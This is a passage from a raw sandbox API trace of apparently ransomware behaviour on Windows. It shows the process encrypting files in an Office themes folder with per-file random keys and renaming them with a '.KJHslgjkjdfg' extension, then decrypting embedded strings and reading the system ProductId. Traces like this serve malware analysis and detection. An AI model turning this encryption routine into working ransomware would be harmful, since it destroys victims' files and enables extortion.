phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.713] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.713] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.713] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb0ce, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xb0ce, lpOverlapped=0x0) returned 1 [0146.714] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xb0d0, dwBufLen=0xb0d0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xb0d0) returned 1 [0146.715] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.715] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb0d0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xb0d0, lpOverlapped=0x0) returned 1 [0146.715] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.715] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xb194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.715] SetEndOfFile (hFile=0x118) returned 1 [0146.718] GetProcessHeap () returned 0x2a0000 [0146.718] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0146.718] GetProcessHeap () returned 0x2a0000 [0146.719] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.719] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm.kjhslgjkjdfg")) returned 1 [0146.720] CloseHandle (hObject=0x118) returned 1 [0146.720] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ECHO.INF", cAlternateFileName="")) returned 1 [0146.720] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.720] GetProcessHeap () returned 0x2a0000 [0146.720] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.720] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.720] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.720] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x9, lpOverlapped=0x0) returned 1 [0146.722] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.722] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.722] GetProcessHeap () returned 0x2a0000 [0146.722] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0146.722] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0146.722] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.722] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0146.722] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.723] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.723] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.723] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.723] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.723] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.723] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.723] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.723] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1f7, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x1f7, lpOverlapped=0x0) returned 1 [0146.723] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x200, dwBufLen=0x200 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x200) returned 1 [0146.723] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.723] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x200, lpOverlapped=0x0) returned 1 [0146.723] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.723] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x2c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.724] SetEndOfFile (hFile=0x118) returned 1 [0146.726] GetProcessHeap () returned 0x2a0000 [0146.726] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0146.726] GetProcessHeap () returned 0x2a0000 [0146.726] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.726] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf.kjhslgjkjdfg")) returned 1 [0146.733] CloseHandle (hObject=0x118) returned 1 [0146.734] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0146.734] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.734] GetProcessHeap () returned 0x2a0000 [0146.734] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.734] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.734] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.734] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x3, lpOverlapped=0x0) returned 1 [0146.737] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.737] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.737] GetProcessHeap () returned 0x2a0000 [0146.737] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.737] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.737] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.737] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.737] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.737] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.737] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.738] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.738] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.738] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.738] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.738] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.738] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5ad, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x5ad, lpOverlapped=0x0) returned 1 [0146.738] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x5b0) returned 1 [0146.738] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.738] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x5b0, lpOverlapped=0x0) returned 1 [0146.738] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.739] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.739] SetEndOfFile (hFile=0x118) returned 1 [0146.741] GetProcessHeap () returned 0x2a0000 [0146.742] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.742] GetProcessHeap () returned 0x2a0000 [0146.742] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.742] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.kjhslgjkjdfg")) returned 1 [0146.749] CloseHandle (hObject=0x118) returned 1 [0146.749] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0146.749] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.750] GetProcessHeap () returned 0x2a0000 [0146.750] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.750] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.750] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.750] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xe, lpOverlapped=0x0) returned 1 [0146.752] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.752] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.752] GetProcessHeap () returned 0x2a0000 [0146.752] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.752] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.752] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.752] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.752] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.752] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.752] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.752] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.752] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.753] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.753] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.753] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.753] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6212, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x6212, lpOverlapped=0x0) returned 1 [0146.754] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x6220, dwBufLen=0x6220 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x6220) returned 1 [0146.754] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.754] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6220, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x6220, lpOverlapped=0x0) returned 1 [0146.754] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.754] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x62f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.754] SetEndOfFile (hFile=0x118) returned 1 [0146.757] GetProcessHeap () returned 0x2a0000 [0146.757] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.757] GetProcessHeap () returned 0x2a0000 [0146.757] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.757] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0146.761] CloseHandle (hObject=0x118) returned 1 [0146.761] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0146.761] GetProcessHeap () returned 0x2a0000 [0146.761] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.761] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.761] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0146.761] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.761] GetProcessHeap () returned 0x2a0000 [0146.761] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0146.761] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.761] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0146.761] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.762] GetProcessHeap () returned 0x2a0000 [0146.762] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0146.762] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.762] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0146.762] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.762] GetProcessHeap () returned 0x2a0000 [0146.762] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0146.762] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.762] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0146.762] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.762] GetProcessHeap () returned 0x2a0000 [0146.762] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0146.762] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.762] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0146.762] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.762] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0146.762] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0146.762] RegCloseKey (hKey=0x118) returned 0x0 [0146.762] GetProcessHeap () returned 0x2a0000 [0146.762] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0146.762] GetProcessHeap () returned 0x2a0000 [0146.762] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0146.762] GetProcessHeap () returned 0x2a0000 [0146.763] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0146.763] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.763] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0146.763] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.763] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0146.763] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, 